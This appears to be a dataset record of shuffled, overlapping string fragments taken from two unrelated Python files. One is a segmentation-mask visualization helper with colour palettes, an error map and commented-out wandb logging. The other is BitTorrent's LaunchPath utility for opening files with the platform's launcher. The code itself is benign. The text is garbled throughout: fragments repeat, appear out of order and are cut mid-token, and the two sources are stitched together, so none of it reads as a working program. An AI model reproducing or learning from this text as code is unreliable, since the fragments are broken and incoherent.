cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : { #", "out_mask[mask == i] = colors[str(id)][i] if(gt is not None): out_mask[gt == ignore_label] =", "160), (81, 0, 81), (244, 35, 232), (230, 150, 140), (152, 251, 152),", "cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }, # \"ground_truth\" : { # \"mask_data\"", "214), (70, 70, 70), (150, 100, 100), (150, 120, 90), (107, 142, 35),", "pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size): # errormap =", "# import wandb import cv2 import torch import os colors = { '0':[(128,", "204, 54), (0, 0, 142), (0, 0, 70), (0, 60, 100), (0, 0,", "= sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size):", "0), (0, 0, 230), (255, 204, 54), (0, 0, 70), (220, 190, 40),", "152), (220, 20, 60), (246, 198, 145), (255, 0, 0), (0, 0, 230),", "} def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id = 1", "70), (107, 142, 35), (70, 130, 180)], '2':[(128, 64, 128), (250, 170, 160),", "(255, 0, 0), (0, 0, 230), (119, 11, 32), (255, 204, 54), (0,", "# , # \"error_map\" : { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" :", "153), (180, 165, 180), (174, 64, 67), (220, 220, 0), (250, 170, 30),", "(0, 80, 100), (136, 143, 153), (220, 190, 40), (102, 102, 156), (190,", "= True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred =", "153), (174, 64, 67), (153, 153, 153), (70, 70, 70), (107, 142, 35),", "1 elif(n_classes<len(colors['2'])): id = 2 else: id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for", "214), (70, 70, 70), (150, 100, 100), (107, 142, 35), (70, 130, 180)],", "230), (119, 11, 32), (255, 204, 54), (0, 0, 142), (0, 0, 70),", "cv2 import torch import os colors = { '0':[(128, 64, 128), (244, 35,", "= 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask == i] =", "def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas == gt] = 255 canvas[gt == cfg.Loss.ignore_label]", "# \"predictions\" : { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels #", "130, 180), (169, 187, 214), (0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt = None):", "130, 180)], '3':[(128, 64, 128), (250, 170, 160), (81, 0, 81), (244, 35,", "class_labels # }, # \"ground_truth\" : { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\"", "out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] = (255,255,255) return out_mask def error_map(pred,gt,cfg): canvas =", "dict import numpy as np # import wandb import cv2 import torch import", "input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8)", "= 0 elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id = 2 else: id =", ", # \"error_map\" : { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels", "= (255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] = (255,255,255) return out_mask def error_map(pred,gt,cfg):", "153, 153), (169, 187, 214), (70, 70, 70), (150, 100, 100), (150, 120,", "100), (150, 120, 90), (107, 142, 35), (70, 130, 180), (169, 187, 214),", "67), (220, 220, 0), (250, 170, 30), (153, 153, 153), (153, 153, 153),", "140), (220, 20, 60), (255, 0, 0), (0, 0, 230), (119, 11, 32),", "0, 142)] } def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id", "60), (255, 0, 0), (0, 0, 230), (119, 11, 32), (255, 204, 54),", "(70, 70, 70), (150, 100, 100), (107, 142, 35), (70, 130, 180)], '3':[(128,", "130, 180), (0, 0, 0)], '1':[(128, 64, 128), (250, 170, 160), (244, 35,", "label[i]) # mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) +", "(70, 130, 180), (0, 0, 0)], '1':[(128, 64, 128), (250, 170, 160), (244,", "# \"ground_truth\" : { # \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels #", "cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # })) # if(cfg.valid.write): # prediction", "id = 2 else: id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in", "elif(n_classes<len(colors['2'])): id = 2 else: id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i", "in range(n_classes): out_mask[mask == i] = colors[str(id)][i] if(gt is not None): out_mask[gt ==", "# } # , # \"error_map\" : { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), #", "110), (0, 80, 100), (136, 143, 153), (220, 190, 40), (102, 102, 156),", "{ '0':[(128, 64, 128), (244, 35, 232), (0, 0, 230), (220, 190, 40),", "# \"mask_data\" : cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # , #", "64, 67), (220, 220, 0), (250, 170, 30), (153, 153, 153), (169, 187,", "35, 232), (0, 0, 230), (220, 190, 40), (70, 70, 70), (70, 130,", "0, 81), (244, 35, 232), (230, 150, 140), (152, 251, 152), (220, 20,", "67), (220, 220, 0), (250, 170, 30), (153, 153, 153), (169, 187, 214),", "out_mask def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas == gt] = 255 canvas[gt ==", "(153, 153, 153), (169, 187, 214), (70, 70, 70), (150, 100, 100), (107,", "canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() #", "segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8)", "id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask == i]", "as np # import wandb import cv2 import torch import os colors =", "60), (246, 198, 145), (255, 0, 0), (0, 0, 230), (119, 11, 32),", "out_mask = np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask == i] = colors[str(id)][i] if(gt", "(220, 20, 60), (246, 198, 145), (255, 0, 0), (0, 0, 230), (119,", "54), (0, 0, 142), (0, 0, 70), (0, 60, 100), (0, 0, 90),", "if(gt is not None): out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0, 0,", "{ # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # }))", "'1':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230, 150, 140), (220,", "0), (250, 170, 30), (153, 153, 153), (169, 187, 214), (70, 70, 70),", "187, 214), (0, 0, 142)] } def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id =", "32), (255, 204, 54), (0, 0, 142), (0, 0, 70), (0, 60, 100),", "class_labels # } # , # \"error_map\" : { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)),", "# \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # })) #", "0), (250, 170, 30), (153, 153, 153), (153, 153, 153), (169, 187, 214),", "1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size): # errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)),", "190, 40), (190, 153, 153), (174, 64, 67), (153, 153, 153), (70, 70,", "100, 100), (107, 142, 35), (70, 130, 180)], '3':[(128, 64, 128), (250, 170,", "canvas[gt == cfg.Loss.ignore_label] = 255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok =", "(220, 220, 0), (250, 170, 30), (153, 153, 153), (169, 187, 214), (70,", "is not None): out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))]", "0]).all(axis=2))] = (255,255,255) return out_mask def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas == gt]", "i] = colors[str(id)][i] if(gt is not None): out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask", "elif(n_classes<len(colors['1'])): id = 1 elif(n_classes<len(colors['2'])): id = 2 else: id = 3 out_mask", "0, 0]).all(axis=2))] = (255,255,255) return out_mask def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas ==", "64, 128), (250, 170, 160), (244, 35, 232), (230, 150, 140), (220, 20,", "0, 0), (0, 0, 230), (119, 11, 32), (255, 204, 54), (0, 0,", "(0, 0, 230), (119, 11, 32), (255, 204, 54), (0, 0, 142), (0,", "# mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis", "visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis = 1) #", "67), (153, 153, 153), (70, 70, 70), (107, 142, 35), (70, 130, 180)],", "70), (70, 130, 180), (0, 0, 0)], '1':[(128, 64, 128), (250, 170, 160),", "90), (0, 0, 110), (0, 80, 100), (136, 143, 153), (220, 190, 40),", "\"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }, # \"ground_truth\" : {", "(180, 165, 180), (174, 64, 67), (220, 220, 0), (250, 170, 30), (153,", "(255, 204, 54), (0, 0, 142), (0, 0, 70), (0, 60, 100), (0,", "90), (107, 142, 35), (70, 130, 180), (169, 187, 214), (0, 0, 142)]", "100), (136, 143, 153), (220, 190, 40), (102, 102, 156), (190, 153, 153),", "(220, 220, 0), (250, 170, 30), (153, 153, 153), (153, 153, 153), (169,", "return out_mask def error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas == gt] = 255 canvas[gt", "range(batch_size): # errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : {", "\"class_labels\" : class_labels # } # })) # if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt", "= visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis = 1)", "return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy()", "142)] } def visualize(mask,n_classes,ignore_label,gt = None): if(n_classes<len(colors['0'])): id = 0 elif(n_classes<len(colors['1'])): id =", "== cfg.Loss.ignore_label] = 255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): # os.makedirs(os.path.join(cfg.train.output_dir,'Visualization',str(epoch)),exist_ok = True)", "# \"class_labels\" : class_labels # } # , # \"error_map\" : { #", "canvas = pred.copy() canvas[canvas == gt] = 255 canvas[gt == cfg.Loss.ignore_label] = 255", "190, 40), (70, 70, 70), (70, 130, 180), (0, 0, 0)], '1':[(128, 64,", "0, 230), (255, 204, 54), (0, 0, 70), (220, 190, 40), (190, 153,", "# for i in range(batch_size): # errormap = error_map(pred[i],label[i],cfg) # wandb_image.append(wandb.Image(cv2.resize(cv2.cvtColor(input[i], cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={", ": { # \"mask_data\" : cv2.resize(errormap,(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } #", "# } # })) # if(cfg.valid.write): # prediction = visualize(pred[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) #", "== i] = colors[str(id)][i] if(gt is not None): out_mask[gt == ignore_label] = (255,255,255)", "64, 128), (250, 170, 160), (81, 0, 81), (244, 35, 232), (230, 150,", "import wandb import cv2 import torch import os colors = { '0':[(128, 64,", "220, 0), (250, 170, 30), (153, 153, 153), (169, 187, 214), (70, 70,", "0, 70), (0, 60, 100), (0, 0, 90), (220, 190, 40), (102, 102,", "128), (244, 35, 232), (0, 0, 230), (220, 190, 40), (70, 70, 70),", "(250, 170, 30), (153, 153, 153), (153, 153, 153), (169, 187, 214), (70,", "156), (190, 153, 153), (180, 165, 180), (174, 64, 67), (220, 220, 0),", "120, 90), (107, 142, 35), (70, 130, 180), (169, 187, 214), (0, 0,", "0)], '1':[(128, 64, 128), (250, 170, 160), (244, 35, 232), (230, 150, 140),", "= 255 canvas[gt == cfg.Loss.ignore_label] = 255 return canvas # def segmentation_validation_visualization(epoch,sample,pred,batch_size,class_labels,wandb_image,cfg): #", "35, 232), (230, 150, 140), (152, 251, 152), (220, 20, 60), (246, 198,", "102, 156), (190, 153, 153), (180, 165, 180), (174, 64, 67), (220, 220,", ": cv2.resize(label[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # } # , # \"error_map\" :", "230), (220, 190, 40), (70, 70, 70), (70, 130, 180), (0, 0, 0)],", "(190, 153, 153), (180, 165, 180), (174, 64, 67), (220, 220, 0), (250,", "'3':[(128, 64, 128), (250, 170, 160), (81, 0, 81), (244, 35, 232), (230,", "== gt] = 255 canvas[gt == cfg.Loss.ignore_label] = 255 return canvas # def", "160), (244, 35, 232), (230, 150, 140), (220, 20, 60), (255, 0, 0),", "0, 110), (0, 80, 100), (136, 143, 153), (220, 190, 40), (102, 102,", "= 1 elif(n_classes<len(colors['2'])): id = 2 else: id = 3 out_mask = np.zeros((mask.shape[0],mask.shape[1],3))", "mask = visualize(label[i],cfg.model.n_classes,cfg.Loss.ignore_label,gt = label[i]) # out = np.concatenate([((input[i]* np.array(cfg.dataset.mean) + np.array(cfg.dataset.std))*255).astype(int),mask,prediction,visualize(errormap,cfg.model.n_classes,cfg.Loss.ignore_label,label[i])],axis =", "150, 140), (220, 20, 60), (255, 0, 0), (0, 0, 230), (119, 11,", "140), (220, 20, 60), (255, 0, 0), (0, 0, 230), (255, 204, 54),", ": class_labels # } # , # \"error_map\" : { # \"mask_data\" :", "sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim = 1).detach().cpu().numpy().astype(np.uint8) # for i in range(batch_size): #", "np.zeros((mask.shape[0],mask.shape[1],3)) for i in range(n_classes): out_mask[mask == i] = colors[str(id)][i] if(gt is not", "0, 70), (0, 60, 100), (0, 0, 90), (0, 0, 110), (0, 80,", "error_map(pred,gt,cfg): canvas = pred.copy() canvas[canvas == gt] = 255 canvas[gt == cfg.Loss.ignore_label] =", "170, 160), (244, 35, 232), (230, 150, 140), (220, 20, 60), (255, 0,", "cv2.COLOR_BGR2RGB),(cfg.dataset.width//4,cfg.dataset.height//4)), masks={ # \"predictions\" : { # \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" :", "(150, 100, 100), (107, 142, 35), (70, 130, 180)], '3':[(128, 64, 128), (250,", "180)], '3':[(128, 64, 128), (250, 170, 160), (81, 0, 81), (244, 35, 232),", "(169, 187, 214), (70, 70, 70), (150, 100, 100), (150, 120, 90), (107,", "(70, 70, 70), (150, 100, 100), (150, 120, 90), (107, 142, 35), (70,", "(0, 0, 70), (0, 60, 100), (0, 0, 90), (220, 190, 40), (102,", "True) # input = sample['image'].permute(0,2,3,1).detach().cpu().numpy() # label = sample['label'].detach().cpu().numpy().astype(np.uint8) # pred = torch.argmax(pred[0],dim", "(250, 170, 30), (153, 153, 153), (169, 187, 214), (70, 70, 70), (150,", "180), (174, 64, 67), (220, 220, 0), (250, 170, 30), (153, 153, 153),", "(174, 64, 67), (220, 220, 0), (250, 170, 30), (153, 153, 153), (169,", "# \"mask_data\" : cv2.resize(pred[i],(cfg.dataset.width//4,cfg.dataset.height//4)), # \"class_labels\" : class_labels # }, # \"ground_truth\" :", "not None): out_mask[gt == ignore_label] = (255,255,255) out_mask[np.where((out_mask == [0, 0, 0]).all(axis=2))] =" ]
[ "or \"start\" # files and directories # written by <NAME> import os can_launch_files", "True launchpath = launchpath_nt elif os.name == 'mac': can_launch_files = True launchpath =", "# The contents of this file are subject to the BitTorrent Open Source", "either # source code or executable form, except in compliance with the License.", "LaunchPath -- a cross platform way to \"open,\" \"launch,\" or \"start\" # files", "this file are subject to the BitTorrent Open Source License # Version 1.1", "'nt': can_launch_files = True launchpath = launchpath_nt elif os.name == 'mac': can_launch_files =", "gentoo only work on dirs default_posix_browser = '' def launchpath_nt(path): os.startfile(path) def launchpath_mac(path):", "launchpath(path): pass def launchdir(path): if os.path.isdir(path): launchpath(path) if os.name == 'nt': can_launch_files =", "IS basis, # WITHOUT WARRANTY OF ANY KIND, either express or implied. See", "if os.path.isdir(path): launchpath(path) if os.name == 'nt': can_launch_files = True launchpath = launchpath_nt", "os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def", "either express or implied. See the License # for the specific language governing", "launchpath_mac elif os.name == 'posix': for b in posix_browsers: if os.system(\"which '%s' >/dev/null", "<reponame>sparkslabs/kamaelia_orig # The contents of this file are subject to the BitTorrent Open", "# files and directories # written by <NAME> import os can_launch_files = False", "cross platform way to \"open,\" \"launch,\" or \"start\" # files and directories #", "os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path): pass def launchdir(path): if os.path.isdir(path): launchpath(path) if", "The contents of this file are subject to the BitTorrent Open Source License", "path) def launchpath(path): pass def launchdir(path): if os.path.isdir(path): launchpath(path) if os.name == 'nt':", "def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path): pass def launchdir(path):", "os can_launch_files = False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only work on dirs", "only work on dirs default_posix_browser = '' def launchpath_nt(path): os.startfile(path) def launchpath_mac(path): #", "on dirs default_posix_browser = '' def launchpath_nt(path): os.startfile(path) def launchpath_mac(path): # BUG: this", "False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only work on dirs default_posix_browser = ''", "== 'mac': can_launch_files = True launchpath = launchpath_mac elif os.name == 'posix': for", "code or executable form, except in compliance with the License. You # may", "License). You may not copy or use this file, in either # source", "if os.name == 'nt': can_launch_files = True launchpath = launchpath_nt elif os.name ==", "= launchpath_nt elif os.name == 'mac': can_launch_files = True launchpath = launchpath_mac elif", "Open Source License # Version 1.1 (the License). You may not copy or", "or implied. See the License # for the specific language governing rights and", "License # for the specific language governing rights and limitations under the #", "== 'nt': can_launch_files = True launchpath = launchpath_nt elif os.name == 'mac': can_launch_files", "compliance with the License. You # may obtain a copy of the License", "elif os.name == 'mac': can_launch_files = True launchpath = launchpath_mac elif os.name ==", "on an AS IS basis, # WITHOUT WARRANTY OF ANY KIND, either express", "by <NAME> import os can_launch_files = False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only", "% b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True default_posix_browser = b launchpath = launchpath_posix", "this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser,", "ANY KIND, either express or implied. See the License # for the specific", "this file, in either # source code or executable form, except in compliance", "'open', path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path): pass", "use this file, in either # source code or executable form, except in", "# source code or executable form, except in compliance with the License. You", "Source License # Version 1.1 (the License). You may not copy or use", "# for the specific language governing rights and limitations under the # License.", "launchpath_nt elif os.name == 'mac': can_launch_files = True launchpath = launchpath_mac elif os.name", "the License at http://www.bittorrent.com/license/. # # Software distributed under the License is distributed", "\"start\" # files and directories # written by <NAME> import os can_launch_files =", "implied. See the License # for the specific language governing rights and limitations", "in compliance with the License. You # may obtain a copy of the", "under the # License. # LaunchPath -- a cross platform way to \"open,\"", "= True launchpath = launchpath_nt elif os.name == 'mac': can_launch_files = True launchpath", "pass def launchdir(path): if os.path.isdir(path): launchpath(path) if os.name == 'nt': can_launch_files = True", "distributed under the License is distributed on an AS IS basis, # WITHOUT", "# Software distributed under the License is distributed on an AS IS basis,", "launchpath = launchpath_nt elif os.name == 'mac': can_launch_files = True launchpath = launchpath_mac", "'posix': for b in posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) ==", ">/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True default_posix_browser = b launchpath", "2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True default_posix_browser = b launchpath =", "= '' def launchpath_nt(path): os.startfile(path) def launchpath_mac(path): # BUG: this is untested os.spawnlp(os.P_NOWAIT,", "1.1 (the License). You may not copy or use this file, in either", "and limitations under the # License. # LaunchPath -- a cross platform way", "obtain a copy of the License at http://www.bittorrent.com/license/. # # Software distributed under", "at http://www.bittorrent.com/license/. # # Software distributed under the License is distributed on an", "default_posix_browser, default_posix_browser, path) def launchpath(path): pass def launchdir(path): if os.path.isdir(path): launchpath(path) if os.name", "executable form, except in compliance with the License. You # may obtain a", "is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser,", "if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path): pass def launchdir(path): if os.path.isdir(path):", "os.name == 'mac': can_launch_files = True launchpath = launchpath_mac elif os.name == 'posix':", "the specific language governing rights and limitations under the # License. # LaunchPath", "You # may obtain a copy of the License at http://www.bittorrent.com/license/. # #", "License. You # may obtain a copy of the License at http://www.bittorrent.com/license/. #", "License. # LaunchPath -- a cross platform way to \"open,\" \"launch,\" or \"start\"", "language governing rights and limitations under the # License. # LaunchPath -- a", "Software distributed under the License is distributed on an AS IS basis, #", "<NAME> import os can_launch_files = False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only work", "# BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path): if default_posix_browser:", "#gmc, gentoo only work on dirs default_posix_browser = '' def launchpath_nt(path): os.startfile(path) def", "the License is distributed on an AS IS basis, # WITHOUT WARRANTY OF", "dirs default_posix_browser = '' def launchpath_nt(path): os.startfile(path) def launchpath_mac(path): # BUG: this is", "OF ANY KIND, either express or implied. See the License # for the", "source code or executable form, except in compliance with the License. You #", "'open', 'open', path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path):", "= launchpath_mac elif os.name == 'posix': for b in posix_browsers: if os.system(\"which '%s'", "launchdir(path): if os.path.isdir(path): launchpath(path) if os.name == 'nt': can_launch_files = True launchpath =", "file are subject to the BitTorrent Open Source License # Version 1.1 (the", "import os can_launch_files = False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only work on", "to \"open,\" \"launch,\" or \"start\" # files and directories # written by <NAME>", "b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True default_posix_browser = b launchpath = launchpath_posix break", "You may not copy or use this file, in either # source code", "= True launchpath = launchpath_mac elif os.name == 'posix': for b in posix_browsers:", "the License. You # may obtain a copy of the License at http://www.bittorrent.com/license/.", "# written by <NAME> import os can_launch_files = False posix_browsers = ('gnome-open','konqueror',) #gmc,", "default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path): pass def launchdir(path): if os.path.isdir(path): launchpath(path)", "for b in posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0:", "file, in either # source code or executable form, except in compliance with", "can_launch_files = True launchpath = launchpath_mac elif os.name == 'posix': for b in", "('gnome-open','konqueror',) #gmc, gentoo only work on dirs default_posix_browser = '' def launchpath_nt(path): os.startfile(path)", "Version 1.1 (the License). You may not copy or use this file, in", "= ('gnome-open','konqueror',) #gmc, gentoo only work on dirs default_posix_browser = '' def launchpath_nt(path):", "# may obtain a copy of the License at http://www.bittorrent.com/license/. # # Software", "WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License #", "# # Software distributed under the License is distributed on an AS IS", "rights and limitations under the # License. # LaunchPath -- a cross platform", "# License. # LaunchPath -- a cross platform way to \"open,\" \"launch,\" or", "os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files = True default_posix_browser =", "launchpath_nt(path): os.startfile(path) def launchpath_mac(path): # BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path)", "the BitTorrent Open Source License # Version 1.1 (the License). You may not", "work on dirs default_posix_browser = '' def launchpath_nt(path): os.startfile(path) def launchpath_mac(path): # BUG:", "launchpath = launchpath_mac elif os.name == 'posix': for b in posix_browsers: if os.system(\"which", "os.startfile(path) def launchpath_mac(path): # BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def", "launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path): pass def launchdir(path): if", "are subject to the BitTorrent Open Source License # Version 1.1 (the License).", "a copy of the License at http://www.bittorrent.com/license/. # # Software distributed under the", "not copy or use this file, in either # source code or executable", "os.name == 'nt': can_launch_files = True launchpath = launchpath_nt elif os.name == 'mac':", "def launchpath_mac(path): # BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open', path) def launchpath_posix(path):", "See the License # for the specific language governing rights and limitations under", "copy or use this file, in either # source code or executable form,", "path) def launchpath_posix(path): if default_posix_browser: os.spawnlp(os.P_NOWAIT, default_posix_browser, default_posix_browser, path) def launchpath(path): pass def", "License is distributed on an AS IS basis, # WITHOUT WARRANTY OF ANY", "AS IS basis, # WITHOUT WARRANTY OF ANY KIND, either express or implied.", "the License # for the specific language governing rights and limitations under the", "launchpath(path) if os.name == 'nt': can_launch_files = True launchpath = launchpath_nt elif os.name", "except in compliance with the License. You # may obtain a copy of", "directories # written by <NAME> import os can_launch_files = False posix_browsers = ('gnome-open','konqueror',)", "limitations under the # License. # LaunchPath -- a cross platform way to", "is distributed on an AS IS basis, # WITHOUT WARRANTY OF ANY KIND,", "def launchdir(path): if os.path.isdir(path): launchpath(path) if os.name == 'nt': can_launch_files = True launchpath", "platform way to \"open,\" \"launch,\" or \"start\" # files and directories # written", "os.path.isdir(path): launchpath(path) if os.name == 'nt': can_launch_files = True launchpath = launchpath_nt elif", "b in posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files", "or executable form, except in compliance with the License. You # may obtain", "in posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\" % b.replace(\"'\",\"\\\\'\")) == 0: can_launch_files =", "\"launch,\" or \"start\" # files and directories # written by <NAME> import os", "for the specific language governing rights and limitations under the # License. #", "= False posix_browsers = ('gnome-open','konqueror',) #gmc, gentoo only work on dirs default_posix_browser =", "-- a cross platform way to \"open,\" \"launch,\" or \"start\" # files and", "'' def launchpath_nt(path): os.startfile(path) def launchpath_mac(path): # BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open',", "# Version 1.1 (the License). You may not copy or use this file,", "of the License at http://www.bittorrent.com/license/. # # Software distributed under the License is", "specific language governing rights and limitations under the # License. # LaunchPath --", "elif os.name == 'posix': for b in posix_browsers: if os.system(\"which '%s' >/dev/null 2>&1\"", "'mac': can_launch_files = True launchpath = launchpath_mac elif os.name == 'posix': for b", "def launchpath_nt(path): os.startfile(path) def launchpath_mac(path): # BUG: this is untested os.spawnlp(os.P_NOWAIT, 'open', 'open',", "default_posix_browser = '' def launchpath_nt(path): os.startfile(path) def 